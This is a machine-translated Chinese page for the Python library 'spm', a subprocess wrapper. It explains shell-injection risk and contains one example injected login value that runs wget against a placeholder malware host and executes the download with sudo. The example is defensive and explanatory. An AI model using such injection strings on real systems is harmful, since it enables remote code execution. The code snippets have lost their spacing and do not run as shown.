subprocess manager提供了一个简单的编程接口,可以安全地运行、管道化和重定向子流程的输出。

spm的Python项目详细描述


>>>importspm>>>spm.run('echo','-n','hello world').stdout.read()'hello world'>>>importfunctools>>>git=functools.partial(spm.run,'git')>>>git('status','-z').stdout.read().split(b'\x00')[' M spm.py','']

这在python标准库的基础上提供了一个非常薄的kiss层 subprocess模块。这个库支持Python2和Python3。

这使得管道子流程和管道子流程输入/输出变得容易 文件。

它只有四条规则:

  • 简单的编程接口
  • 不要重装轮子。(它尝试使用subprocess标准 尽可能多的模块)
  • 它只会做一件事,试着把它做好。
  • 使用参数列表而不是一个命令字符串。

安全子流程调用

对于那些不懂最后一条规则的人。有两种方法 在python中调用子进程:一个方法是不安全的,另一个是 安全。

importsubprocess# Insecure subprocess invocationsubprocess.check_call("echo foo",shell=True)# Secure subprocess invocationsubprocess.check_call(['echo','foo'])

第二个是安全的,因为它可以防止shell代码注入。如果我们结束 简化,第一种方法,可以这样实现:

definsecure_check_call(command_line):"""
    Same as check_call(shell=True)
    """# Runs /bin/bash -c "the given command line"subprocess.check_call(['/bin/bash','-c',command_line])

我们以下面的代码为例:

importsubprocess# Get insecure and unchecked data from a userfromsomewhereimportget_login_from_user()defcreate_user():cmd="sudo useradd '{}'".format(get_login_from_user())subprocess.check_call(cmd)

如果用户输入登录名,则可以插入代码 ' || wget http://malware.example.com/malware-O /tmp && sudo /tmp/malware。 因为这将执行: sudo user '' || wget [...]-O /tmp && sudo /tmp/malware

为什么是另一个图书馆?

XKCD Comic strip: "How Standards Profilef

这里是现有的库:

  • sh:做很多事。管道命令的编程接口是 复杂而糟糕。
  • execute:旧的,容易被外壳注射。

还有许多是未维护或更糟的。

你说吻是什么意思?

吻失去了原来的感觉。现在它只是一个时髦的词,意思是 使用我的图书馆,因为它很酷。

在这里我指的是吻的本意:保持简单和愚蠢。

  • 简单:这个库是一个少于500行的文件(不包括测试)
  • 愚蠢:这个库有两个函数:pipe()run()

欢迎加入QQ群-->: 979659372 Python中文网_新手群

推荐PyPI第三方库


热门话题
java Spring数据JPA+Hibernate在不首先找到父实体的情况下保存子实体   php Java:如何从CLI接收命令   spring为java中的导出数据创建访问文件   java在Windows 8.1上安装Play Framework   java Spring启动白标签错误页面(类型=未找到,状态=404)   java如何在单击时从数组中绘制?   java fn:substringAfter()上次出现   java在IFR语句中使用方法返回   java onPause()或onStop()的名称   对关联对象的关联对象具有条件的java HQL查询   java只打印一次总值,无需迭代   java如何使用抽象Uri buildOn()方法?   如何在Java中执行sudo命令并获得错误输出?   java反射:避免对getConstructor(类<?>…)的未经检查的警告调用作为原始类型类的成员   Java:如何从类中创建的对象调用类方法?   java如何在电子邮件中嵌入图像?   java如何在Android上启用详细GC?   java什么是串行版本id?